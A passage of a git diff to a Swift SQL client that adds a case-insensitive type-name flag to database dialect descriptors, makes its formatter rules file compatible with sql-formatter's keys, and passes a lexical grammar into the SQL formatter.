+        lexicalFeatures: SQLLexicalFeatures? = nil,
+        typeNamesAreCaseInsensitive: Bool = false
     ) {
         self.lexicalFeatures = lexicalFeatures
+        self.typeNamesAreCaseInsensitive = typeNamesAreCaseInsensitive
         self.identifierQuote = identifierQuote
         self.keywords = keywords
         self.functions = functions
@@ -395,7 +445,8 @@ public struct SQLDialectDescriptor: Sendable {
             operators: operators,
             textCastTypeName: textCastTypeName,
             functionNamesAreCaseInsensitive: functionNamesAreCaseInsensitive,
-            lexicalFeatures: lexicalFeatures
+            lexicalFeatures: lexicalFeatures,
+            typeNamesAreCaseInsensitive: typeNamesAreCaseInsensitive
         )
     }
 }
diff --git a/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift b/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift
index b417b59570..e15f0bfdb7 100644
--- a/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift
+++ b/apple/Plugins/TeradataDriverPlugin/TeradataPlugin.swift
@@ -105,7 +105,10 @@ final class TeradataPlugin: NSObject, TableProPlugin, DriverPlugin {
             "JSON", "XML", "ST_GEOMETRY",
         ],
         autoLimitStyle: .top,
-        caseSensitivityStyle: .unsupported
+        caseSensitivityStyle: .unsupported,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 
     private static let logger = Logger(subsystem: "com.TablePro", category: "TeradataPlugin")
diff --git a/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift b/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift
index ff59f1914f..0244a3c173 100644
--- a/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift
+++ b/apple/Plugins/TrinoDriverPlugin/TrinoPlugin.swift
@@ -143,7 +143,10 @@ final class TrinoPlugin: NSObject, TableProPlugin, DriverPlugin {
         likeEscapeStyle: .explicit,
         paginationStyle: .offsetFetch,
         offsetFetchOrderBy: "",
-        caseSensitivityStyle: .regexFlag
+        caseSensitivityStyle: .regexFlag,
+        textCastTypeName: nil,
+        functionNamesAreCaseInsensitive: true,
+        typeNamesAreCaseInsensitive: true
     )
 
     static let explainVariants: [ExplainVariant] = [
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift
index 980fbea84a..8b62ed43fc 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CloudDefaults.swift
@@ -153,7 +153,10 @@ extension PluginMetadataRegistry {
                         booleanLiteralStyle: .truefalse,
                         likeEscapeStyle: .implicit,
                         paginationStyle: .limit,
-                        caseSensitivityStyle: .caseFoldFunction
+                        caseSensitivityStyle: .caseFoldFunction,
+                        textCastTypeName: nil,
+                        functionNamesAreCaseInsensitive: true,
+                        typeNamesAreCaseInsensitive: true
                     ),
                     statementCompletions: [
                         CompletionEntry(label: "SELECT", insertText: "SELECT"),
@@ -339,7 +342,10 @@ extension PluginMetadataRegistry {
                         booleanLiteralStyle: .truefalse,
                         likeEscapeStyle: .implicit,
                         paginationStyle: .limit,
-                        caseSensitivityStyle: .caseFoldFunction
+                        caseSensitivityStyle: .caseFoldFunction,
+                        textCastTypeName: nil,
+                        functionNamesAreCaseInsensitive: true,
+                        typeNamesAreCaseInsensitive: true
                     ),
                     statementCompletions: [
                         CompletionEntry(label: "SELECT", insertText: "SELECT"),
@@ -595,7 +601,10 @@ extension PluginMetadataRegistry {
                         likeEscapeStyle: .explicit,
                         paginationStyle: .limit,
                         requiresBackslashEscaping: true,
-                        caseSensitivityStyle: .ilikeOperator
+                        caseSensitivityStyle: .ilikeOperator,
+                        textCastTypeName: nil,
+                        functionNamesAreCaseInsensitive: true,
+                        typeNamesAreCaseInsensitive: true
                     ),
                     statementCompletions: [
                         CompletionEntry(label: "SELECT", insertText: "SELECT"),
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
index b07d3cb752..872fd315f8 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+CuratedDefaults.swift
@@ -50,7 +50,8 @@ extension PluginMetadataRegistry {
             caseSensitivityStyle: .collationDefined,
             operators: SQLEngineVocabulary.mySQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
             textCastTypeName: nil,
-            functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive
+            functionNamesAreCaseInsensitive: SQLEngineVocabulary.mySQL.functionNamesAreCaseInsensitive,
+            typeNamesAreCaseInsensitive: true
         )
 
         let mysqlColumnTypes: [String: [String]] = [
@@ -92,7 +93,8 @@ extension PluginMetadataRegistry {
             caseSensitivityStyle: .ilikeOperator,
             operators: SQLEngineVocabulary.postgreSQL.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
             textCastTypeName: nil,
-            functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive
+            functionNamesAreCaseInsensitive: SQLEngineVocabulary.postgreSQL.functionNamesAreCaseInsensitive,
+            typeNamesAreCaseInsensitive: true
         )
 
         // Redshift ILIKE only folds ASCII, so it uses LOWER on both sides instead.
@@ -147,7 +149,8 @@ extension PluginMetadataRegistry {
             caseSensitivityStyle: .collationDefined,
             operators: SQLEngineVocabulary.sqlite.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
             textCastTypeName: nil,
-            functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive
+            functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlite.functionNamesAreCaseInsensitive,
+            typeNamesAreCaseInsensitive: true
         )
 
         let sqliteColumnTypes: [String: [String]] = [
@@ -751,7 +754,8 @@ private extension SQLDialectDescriptor {
             operators: vocabulary.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
             textCastTypeName: textCastTypeName,
             functionNamesAreCaseInsensitive: vocabulary.functionNamesAreCaseInsensitive,
-            lexicalFeatures: lexicalFeatures
+            lexicalFeatures: lexicalFeatures,
+            typeNamesAreCaseInsensitive: typeNamesAreCaseInsensitive
         )
     }
 }
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift
index c616f7271d..16e6804ba0 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+HanaDefaults.swift
@@ -124,7 +124,8 @@ private let hanaDialect = SQLDialectDescriptor(
     caseSensitivityStyle: .caseFoldFunction,
     textCastTypeName: nil,
     functionNamesAreCaseInsensitive: true,
-    lexicalFeatures: [.dollarAndHashInIdentifiers]
+    lexicalFeatures: [.dollarAndHashInIdentifiers],
+    typeNamesAreCaseInsensitive: true
 )
 
 private func hanaConnectionFields() -> [ConnectionField] {
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
index 5c5b5b6f5b..9c5c0ebc69 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryDefaults.swift
@@ -413,7 +413,10 @@ extension PluginMetadataRegistry {
                             "DATE", "TIME", "TIMESTAMP", "INTERVAL", "PERIOD", "JSON", "XML",
                         ],
                         autoLimitStyle: .top,
-                        caseSensitivityStyle: .unsupported
+                        caseSensitivityStyle: .unsupported,
+                        textCastTypeName: nil,
+                        functionNamesAreCaseInsensitive: true,
+                        typeNamesAreCaseInsensitive: true
                     ),
                     statementCompletions: [],
                     columnTypesByCategory: [
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift
index 2e4454c3ac..8dc79aeb53 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+RegistryIngredients.swift
@@ -138,7 +138,8 @@ extension PluginMetadataRegistry {
             caseSensitivityStyle: .collationDefined,
             operators: SQLEngineVocabulary.sqlServer.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
             textCastTypeName: nil,
-            functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive
+            functionNamesAreCaseInsensitive: SQLEngineVocabulary.sqlServer.functionNamesAreCaseInsensitive,
+            typeNamesAreCaseInsensitive: true
         )
 
         let mssqlColumnTypes: [String: [String]] = [
@@ -186,7 +187,8 @@ extension PluginMetadataRegistry {
             caseSensitivityStyle: .caseFoldFunction,
             operators: SQLEngineVocabulary.oracle.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
             textCastTypeName: nil,
-            functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive
+            functionNamesAreCaseInsensitive: SQLEngineVocabulary.oracle.functionNamesAreCaseInsensitive,
+            typeNamesAreCaseInsensitive: true
         )
 
         let oracleColumnTypes: [String: [String]] = [
@@ -244,7 +246,10 @@ extension PluginMetadataRegistry {
             paginationStyle: .offsetFetch,
             offsetFetchOrderBy: "ORDER BY 1",
             autoLimitStyle: .fetchFirst,
-            caseSensitivityStyle: .caseFoldFunction
+            caseSensitivityStyle: .caseFoldFunction,
+            textCastTypeName: nil,
+            functionNamesAreCaseInsensitive: true,
+            typeNamesAreCaseInsensitive: true
         )
         let damengCompletions = [
             CompletionEntry(label: "SELECT", insertText: "SELECT"),
@@ -304,7 +309,8 @@ extension PluginMetadataRegistry {
             caseSensitivityStyle: .ilikeOperator,
             operators: SQLEngineVocabulary.duckDB.operators.compactMap(SQLOperatorDescriptor.init(vocabulary:)),
             textCastTypeName: "VARCHAR",
-            functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive
+            functionNamesAreCaseInsensitive: SQLEngineVocabulary.duckDB.functionNamesAreCaseInsensitive,
+            typeNamesAreCaseInsensitive: true
         )
 
         let duckdbColumnTypes: [String: [String]] = [
@@ -365,7 +371,10 @@ extension PluginMetadataRegistry {
             likeEscapeStyle: .explicit,
             paginationStyle: .limit,
             autoLimitStyle: .limit,
-            caseSensitivityStyle: .unsupported
+            caseSensitivityStyle: .unsupported,
+            textCastTypeName: nil,
+            functionNamesAreCaseInsensitive: true,
+            typeNamesAreCaseInsensitive: true
         )
 
         let cassandraColumnTypes: [String: [String]] = [
@@ -566,7 +575,10 @@ extension PluginMetadataRegistry {
             booleanLiteralStyle: .numeric,
             likeEscapeStyle: .explicit,
             paginationStyle: .limit,
-            caseSensitivityStyle: .collationDefined
+            caseSensitivityStyle: .collationDefined,
+            textCastTypeName: nil,
+            functionNamesAreCaseInsensitive: true,
+            typeNamesAreCaseInsensitive: true
         )
 
         let d1ColumnTypes: [String: [String]] = [
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift
index fd09d3271e..4b3bc5e265 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+SnapshotAdoption.swift
@@ -137,7 +137,8 @@ private extension SQLDialectDescriptor {
             operators: operators,
             textCastTypeName: textCastTypeName,
             functionNamesAreCaseInsensitive: functionNamesAreCaseInsensitive,
-            lexicalFeatures: lexicalFeatures
+            lexicalFeatures: lexicalFeatures,
+            typeNamesAreCaseInsensitive: typeNamesAreCaseInsensitive
         )
     }
 }
diff --git a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift
index 4ced33b335..974471c1f2 100644
--- a/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift
+++ b/apple/TablePro/Core/Plugins/PluginMetadataRegistry+TrinoDefaults.swift
@@ -168,7 +168,10 @@ extension PluginMetadataRegistry {
             likeEscapeStyle: .explicit,
             paginationStyle: paginationStyle,
             offsetFetchOrderBy: "",
-            caseSensitivityStyle: .regexFlag
+            caseSensitivityStyle: .regexFlag,
+            textCastTypeName: nil,
+            functionNamesAreCaseInsensitive: true,
+            typeNamesAreCaseInsensitive: true
         )
     }
 
diff --git a/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift b/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift
index 17451b68eb..e6ea542363 100644
--- a/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift
+++ b/apple/TablePro/Core/Services/Formatting/QueryFormatter.swift
@@ -1,5 +1,6 @@
 import Foundation
 import TableProPluginKit
+import TableProSQLGrammar
 
 struct QueryFormatResult {
     let text: String
@@ -12,16 +13,24 @@ protocol QueryFormatting {
 
 struct SQLQueryFormatter: QueryFormatting {
     private let dialect: DatabaseType
+    private let grammar: SQLLexicalGrammar?
     private let options: SQLFormatterOptions
     private let formatter = SQLFormatterService()
 
-    init(dialect: DatabaseType, options: SQLFormatterOptions = .default) {
+    init(dialect: DatabaseType, grammar: SQLLexicalGrammar? = nil, options: SQLFormatterOptions = .default) {
         self.dialect = dialect
+        self.grammar = grammar
         self.options = options
     }
 
     func format(_ text: String, cursorOffset: Int?) throws -> QueryFormatResult {
-        let result = try formatter.format(text, dialect: dialect, cursorOffset: cursorOffset, options: options)
+        let result = try formatter.format(
+            text,
+            dialect: dialect,
+            grammar: grammar,
+            cursorOffset: cursorOffset,
+            options: options
+        )
         return QueryFormatResult(text: result.formattedSQL, cursorOffset: result.cursorOffset)
     }
 }
@@ -32,9 +41,14 @@ enum QueryFormatterFactory {
         make(for: databaseType) { AppSettingsManager.shared.formatterOptions }
     }
 
-    // Throws when the linked folder's rules file can't be read, rather than format with Settings.
-    static func make(for databaseType: DatabaseType?, sourceFileURL: URL?) throws -> QueryFormatting? {
-        try make(for: databaseType) { try SQLFormatterRuleSource.options(forFileAt: sourceFileURL) }
+    // Throws when the linked folder's rules file can't be read, rather than format with Settings. `grammar` is the one
+    // the tab's statements are split with, so a literal or a comment ends where the connected engine ends it.
+    static func make(
+        for databaseType: DatabaseType?,
+        sourceFileURL: URL?,
+        grammar: SQLLexicalGrammar? = nil
+    ) throws -> QueryFormatting? {
+        try make(for: databaseType, grammar: grammar) { try SQLFormatterRuleSource.options(forFileAt: sourceFileURL) }
     }
 
     // Nil for a language with no formatter of its own. The SQL formatter reads a Redis key `user:1` as
@@ -42,6 +56,7 @@ enum QueryFormatterFactory {
     // so running it there changes what the command does.
     private static func make(
         for databaseType: DatabaseType?,
+        grammar: SQLLexicalGrammar? = nil,
         sqlOptions: () throws -> SQLFormatterOptions
     ) rethrows -> QueryFormatting? {
         let dialect = databaseType ?? .mysql
@@ -54,7 +69,7 @@ enum QueryFormatterFactory {
 
         switch PluginManager.shared.editorLanguage(for: dialect) {
         case .sql:
-            return SQLQueryFormatter(dialect: dialect, options: try sqlOptions())
+            return SQLQueryFormatter(dialect: dialect, grammar: grammar, options: try sqlOptions())
         case .javascript:
             return ConsoleRequestFormatter()
         case .bash, .custom:
diff --git a/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift b/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift
index 7800cecfc4..f87ac83045 100644
--- a/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift
+++ b/apple/TablePro/Core/Services/Formatting/SQLFormatterRulesFile.swift
@@ -41,21 +41,43 @@ struct SQLFormatterFolderRulesError: LocalizedError {
     }
 }
 
+// The npm sql-formatter reads the same `.sql-formatter.json`, so a file either tool writes drives both. A rule both
+// tools have uses sql-formatter's key and values; a TablePro-only rule uses a key sql-formatter ignores, never one it
+// refuses (it throws on `commaPosition`, `aliasAs`, `tabulateAlias`, `multilineLists`, `newlineBeforeOpenParen`,
+// `newlineBeforeCloseParen`); a sql-formatter option TablePro does not have, such as `language`, is ignored.
 enum SQLFormatterRulesFile {
     static let fileName = ".sql-formatter.json"
     static let exportFileName = "sql-formatter.json"
     static let maxSize = 64 * 1_024
 
+    enum Key: String, CodingKey, CaseIterable {
+        case tabWidth
+        case useTabs
+        case keywordCase
+        case functionCase
+        case dataTypeCase
+        case logicalOperatorNewline
+        case commaPlacement
+        case lineWidth
+        case joinCondition
+        case alignAliases
+        case clauseItems
+    }
+
+    // sql-formatter's own key. TablePro has no tabular layout, so a value sql-formatter documents is read and ignored.
+    static let indentStyleKey = "indentStyle"
+    static let sqlFormatterIndentStyles: Set<String> = ["standard", "tabularLeft", "tabularRight"]
+
     static func encode(_ options: SQLFormatterOptions) throws -> Data {
         let encoder = JSONEncoder()
         encoder.outputFormatting = [.prettyPrinted, .sortedKeys]
-        return try encoder.encode(options)
+        return try encoder.encode(FileRules(options: options))
     }
 
     static func decode(_ data: Data) throws -> SQLFormatterOptions {
         guard data.count <= maxSize else { throw SQLFormatterRulesError.tooLarge }
         do {
-            return try JSONDecoder().decode(SQLFormatterOptions.self, from: data)
+            return try JSONDecoder().decode(FileRules.self, from: data).options
         } catch let error as DecodingError {
             throw rulesError(for: error)
         }
@@ -117,6 +139,101 @@ enum SQLFormatterRulesFile {
     }
 }
 
+// Strict: a value this build cannot read throws and names its key, a key it does not know is ignored.
+private struct FileRules: Codable {
+    typealias Key = SQLFormatterRulesFile.Key
+
+    let options: SQLFormatterOptions
+
+    init(options: SQLFormatterOptions) {
+        self.options = options
+    }
+
+    private struct AnyKey: CodingKey {
+        let stringValue: String
+        var intValue: Int? { nil }
+
+        init(stringValue: String) {
+            self.stringValue = stringValue
+        }
+
+        init?(intValue: Int) {
+            nil
+        }
+    }
+
+    init(from decoder: Decoder) throws {
+        let container = try decoder.container(keyedBy: Key.self)
+        var options = SQLFormatterOptions.default
+        if let useTabs = try container.decodeIfPresent(Bool.self, forKey: .useTabs) {
+            options.indentStyle = useTabs ? .tabs : .spaces
+        }
+        options.indentWidth = try Self.decodeInt(container, .tabWidth, in: SQLFormatterOptions.indentWidthRange)
+            ?? options.indentWidth
+        options.keywordCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .keywordCase)
+            ?? options.keywordCase
+        options.functionCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .functionCase)
+            ?? options.functionCase
+        options.dataTypeCase = try container.decodeIfPresent(SQLFormatterCase.self, forKey: .dataTypeCase)
+            ?? options.dataTypeCase
+        options.logicalOperatorNewline = try container.decodeIfPresent(
+            SQLFormatterLogicalOperatorNewline.self, forKey: .logicalOperatorNewline
+        ) ?? options.logicalOperatorNewline
+        options.commaPosition = try container.decodeIfPresent(SQLFormatterCommaPosition.self, forKey: .commaPlacement)
+            ?? options.commaPosition
+        options.lineWidth = try Self.decodeInt(container, .lineWidth, in: SQLFormatterOptions.lineWidthRange)
+            ?? options.lineWidth
+        options.joinCondition = try container.decodeIfPresent(SQLFormatterJoinCondition.self, forKey: .joinCondition)
+            ?? options.joinCondition
+        options.alignAliases = try container.decodeIfPresent(Bool.self, forKey: .alignAliases) ?? options.alignAliases
+        options.clauseItems = try container.decodeIfPresent(SQLFormatterClauseItems.self, forKey: .clauseItems)
+            ?? options.clauseItems
+
+        let shared = try decoder.container(keyedBy: AnyKey.self)
+        let indentStyleKey = AnyKey(stringValue: SQLFormatterRulesFile.indentStyleKey)
+        if let indentStyle = try shared.decodeIfPresent(String.self, forKey: indentStyleKey),
+           !SQLFormatterRulesFile.sqlFormatterIndentStyles.contains(indentStyle) {
+            throw DecodingError.dataCorruptedError(
+                forKey: indentStyleKey,
+                in: shared,
+                debugDescription: "indentStyle must be one of sql-formatter's values"
+            )
+        }
+        self.options = options
+    }
+
+    func encode(to encoder: Encoder) throws {
+        var container = encoder.container(keyedBy: Key.self)
+        try container.encode(options.indentWidth, forKey: .tabWidth)
+        try container.encode(options.indentStyle == .tabs, forKey: .useTabs)
+        try container.encode(options.keywordCase, forKey: .keywordCase)
+        try container.encode(options.functionCase, forKey: .functionCase)
+        try container.encode(options.dataTypeCase, forKey: .dataTypeCase)
+        try container.encode(options.logicalOperatorNewline, forKey: .logicalOperatorNewline)
+        try container.encode(options.commaPosition, forKey: .commaPlacement)
+        try container.encode(options.lineWidth, forKey: .lineWidth)
+        try container.encode(options.joinCondition, forKey: .joinCondition)
+        try container.encode(options.alignAliases, forKey: .alignAliases)
+        try container.encode(options.clauseItems, forKey: .clauseItems)
+    }
+
+    private static func decodeInt(
+        _ container: KeyedDecodingContainer<Key>,
+        _ key: Key,
+        in range: ClosedRange<Int>
+    ) throws -> Int? {
+        guard let value = try container.decodeIfPresent(Int.self, forKey: key) else { return nil }
+        guard range.contains(value) else {
+            throw DecodingError.dataCorruptedError(
+                forKey: key,
+                in: container,
+                debugDescription: "\(key.stringValue) must be between \(range.lowerBound) and \(range.upperBound)"
+            )
+        }
+        return value
+    }
+}
+
 @MainActor
 enum SQLFormatterRuleSource {
     // A rules file in the linked folder wins over Settings, so every Mac formats that folder alike.
diff --git a/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift b/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift
index 59e894d9ba..deddba5282 100644
--- a/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift
+++ b/apple/TablePro/Core/Services/Formatting/SQLFormatterService.swift
@@ -4,11 +4,13 @@
 //
 
 import Foundation
+import TableProSQLGrammar
 
 protocol SQLFormatterProtocol {
     func format(
         _ sql: String,
         dialect: DatabaseType,
+        grammar: SQLLexicalGrammar?,
         cursorOffset: Int?,
         options: SQLFormatterOptions
     ) throws -> SQLFormatterResult
@@ -17,14 +19,16 @@ protocol SQLFormatterProtocol {
 struct SQLFormatterService: SQLFormatterProtocol {
     private static let maxInputSize = 10 * 1_024 * 1_024
 
+    // `grammar` is the one the tab's statements are split with; nil reads the engine's default.
     func format(
         _ sql: String,
         dialect: DatabaseType,
+        grammar: SQLLexicalGrammar? = nil,
         cursorOffset: Int? = nil,
         options: SQLFormatterOptions = .default
     ) throws -> SQLFormatterResult {
         guard sql.utf8.count <= Self.maxInputSize else {
-            throw SQLFormatterError.internalError("SQL too large (max \(Self.maxInputSize / 1_024 / 1_024)MB)")
+            throw SQLFormatterError.inputTooLarge(maxBytes: Self.maxInputSize)
         }
 
         let trimmed = sql.trimmingCharacters(in: .whitespacesAndNewlines)
@@ -42,15 +46,21 @@ struct SQLFormatterService: SQLFormatterProtocol {
             .union(dialectProvider.functions)
             .union(dialectProvider.dataTypes)
 
-        let tokenizer = SQLTokenizer(dialectKeywords: dialectKeywords)
-        let tokens = tokenizer.tokenize(sql)
+        let tokenizer = SQLTokenizer(dialectKeywords: dialectKeywords, operators: dialectProvider.operators)
+        let readGrammar = grammar ?? dialect.lexicalGrammar
+        let tokens = tokenizer.tokenize(sql, grammar: readGrammar)
         var tokenFormatter = SQLTokenFormatter(
             options: options,
             dialectFunctions: dialectProvider.functions,
             dialectDataTypes: dialectProvider.dataTypes,
-            rewritesFunctionCase: dialectProvider.functionNamesAreCaseInsensitive
+            rewritesFunctionCase: dialectProvider.functionNamesAreCaseInsensitive,
+            rewritesDataTypeCase: dialectProvider.typeNamesAreCaseInsensitive
+        )
+        let readsDirectives = !readGrammar.isDisjoint(with: [.batchSeparatorLines, .delimiterDirective, .slashLineTerminators])
+        let formatted = tokenFormatter.format(
+            tokens,
+            directiveLines: readsDirectives ? { tokenizer.directiveLines(in: $0, grammar: readGrammar) } : nil
         )
-        let formatted = tokenFormatter.format(tokens)
 
         let newCursor = cursorOffset.map { original in
             mapCursorPosition(original: original, oldLength: sql.utf16.count, newLength: formatted.utf16.count)
@@ -66,8 +76,9 @@ struct SQLFormatterService: SQLFormatterProtocol {
     }
 }
 
-// SELECT, SET and WHERE lists are written inline and kept open until their clause ends, when one that
-// overflows the line width gets its separators rewritten broken and its aliases aligned.
+// SELECT, SET, WHERE and HAVING lists are written inline and kept open until their clause ends, when one that
+// overflows the line width gets its separators rewritten broken and its aliases aligned. A block's body sits one level
+// under the line its `(` is on, and a CASE lines up with the line it starts on.
 internal struct SQLTokenFormatter {
     let options: SQLFormatterOptions
 
@@ -84,6 +95,8 @@ internal struct SQLTokenFormatter {
         "BLOB", "CLOB", "BINARY", "VARBINARY",
         "JSON", "JSONB", "XML", "UUID",
         "SERIAL", "BIGSERIAL",
+        "DOUBLE PRECISION", "CHARACTER VARYING", "CHAR VARYING", "NATIONAL CHARACTER", "NATIONAL CHAR", "BIT VARYING",
+        "TIMESTAMP WITH TIME ZONE", "TIMESTAMP WITHOUT TIME ZONE", "TIME WITH TIME ZONE", "TIME WITHOUT TIME ZONE",
     ]
 
     // Width of `SELECT ` and `SET `, which the items after the first line up under.
@@ -92,47 +105,84 @@ internal struct SQLTokenFormatter {
 
     private let functions: Set<String>
     private let dataTypes: Set<String>
+    // Multi-word types by their first word, longest first: `CHARACTER VARYING`, `TIMESTAMP WITH TIME ZONE`.
+    private let typePhrases: [String: [[String]]]
     private let rewritesFunctionCase: Bool
+    private let rewritesDataTypeCase: Bool
     private let indentUnit: String
 
     init(
         options: SQLFormatterOptions,
         dialectFunctions: Set<String> = [],
         dialectDataTypes: Set<String> = [],
-        rewritesFunctionCase: Bool
+        rewritesFunctionCase: Bool,
+        rewritesDataTypeCase: Bool = false
     ) {
         self.options = options
         self.functions = Self.builtinFunctions.union(dialectFunctions)
         self.dataTypes = Self.builtinDataTypes.union(dialectDataTypes)
+        var phrases: [String: [[String]]] = [:]
+        for type in dataTypes where type.contains(" ") {
+            let words = type.uppercased().split(separator: " ").map(String.init)
+            if let first = words.first { phrases[first, default: []].append(words) }
+        }
+        self.typePhrases = phrases.mapValues { $0.sorted { $0.count > $1.count } }
         self.rewritesFunctionCase = rewritesFunctionCase
+        self.rewritesDataTypeCase = rewritesDataTypeCase
         self.indentUnit = options.indentUnit
     }
 
     private var output = FormatterOutput()
+    private var stream: [SQLToken] = []
+    private var spacedBefore: [Bool] = []
+    private var lineBrokenBefore: [Bool] = []
+    private var position = 0
     private var clauseStack: [ClauseContext] = []
     private var afterNewline = true
     private var selectColumnPad = Pad(levels: 0)
     private var inSelectColumns = false
     private var skipCount = 0
-    private var suppressNextSpace = false
-    private var caseBasePad = Pad(levels: 0)
+    private var gluePosition: Int?
+    private var casePads: [Pad] = []
+    // The pad of the line each open block's `(` sits on.
+    private var blockOpeners: [Pad] = []
+    // The pad of the line being written, as it reads once its list breaks.
+    private var linePad = Pad(levels: 0)
+    private var pendingLead: (kind: ListKind, pad: Pad)?
     private var selectColumnPadStack: [Pad] = []
     private var openLists: [PendingList] = []
+    // True between CREATE ... TABLE and its column list, so only that paren becomes a table body.
+    private var awaitsTableBody = false
+    // True between CREATE ... FUNCTION or PROCEDURE and its parameter list.
+    private var awaitsParameterList = false
+    // Where `@x <type>` declares a variable: a DECLARE, and a routine's header up to its AS or BEGIN. Anywhere else
+    // the word after a variable is an alias (`FROM @rows date`).
+    private var inDeclare = false
+    private var inRoutineHeader = false
+    // The word before each open inline paren, keyed by its index in `clauseStack`.
+    private var parenOpeners: [Int: String] = [:]
+    // The last token of the multi-word type being written, which takes the type's case as one word does.
+    private var typePhraseEnd = -1
+    private var directiveOffsets: [Int] = []
 
     private enum ClauseContext {
         case select, from, where_, join, caseExpr, subquery, with
         case insert, update, set, createTable, createTableBody
-        case inlineParen, windowParen
+        case inlineParen, windowParen, clause
     }
 
     // Indent levels render as the indent unit, alignment spaces as spaces after them.
     private struct Pad {
         var levels: Int
         var spaces: Int = 0
+
+        func adding(levels extraLevels: Int = 0, spaces extraSpaces: Int = 0) -> Pad {
+            Pad(levels: levels + extraLevels, spaces: spaces + extraSpaces)
+        }
     }
 
     private enum ListKind {
-        case select, set, conditions
+        case select, set, conditions, cte
     }
 
     private struct Separator {
@@ -146,63 +196,209 @@ internal struct SQLTokenFormatter {
         let lineStart: Int
         var separators: [Separator] = []
         var aliasOffsets: [Int: Int] = [:]
+        // The break between the clause keyword and its first item, when items go below the keyword.
+        var hasLead = false
+        var itemPad: Pad?
     }
 
     // True after BETWEEN, so the next AND stays inline.
     private var afterBetween = false
 
-    private var newlinesAfterSemicolon: [Int: Int] = [:]
+    private var newlinesAfterTerminator: [Int: Int] = [:]
+
+    // The next token writes with no space before it only while nothing was written since this was set.
+    private var suppressNextSpace: Bool {
+        get { gluePosition == output.count }
+        set { gluePosition = newValue ? output.count : nil }
+    }
 
     // MARK: - Public
 
-    mutating func format(_ tokens: [SQLToken]) -> String {
-        newlinesAfterSemicolon.removeAll()
-        var meaningfulIndex = -1
+    // `directiveLines` reads the lines a text holds client directives on, under the grammar the tokens came from.
+    mutating func format(_ tokens: [SQLToken], directiveLines: ((String) -> Set<Int>)? = nil) -> String {
+        stream.removeAll()
+        spacedBefore.removeAll()
+        lineBrokenBefore.removeAll()
+        newlinesAfterTerminator.removeAll()
+        var pendingSpace = false
+        var pendingBreak = false
         for (i, token) in tokens.enumerated() {
-            if token.type == .whitespace { continue }
-            meaningfulIndex += 1
-            if token.type == .punctuation && token.value == ";" {
-                var nlCount = 0
+            if token.type == .whitespace {
+                pendingSpace = true
+                pendingBreak = pendingBreak || token.value.utf16.contains(0x0A)
+                continue
+            }
+            if Self.isTerminator(token) {
+                var count = 0
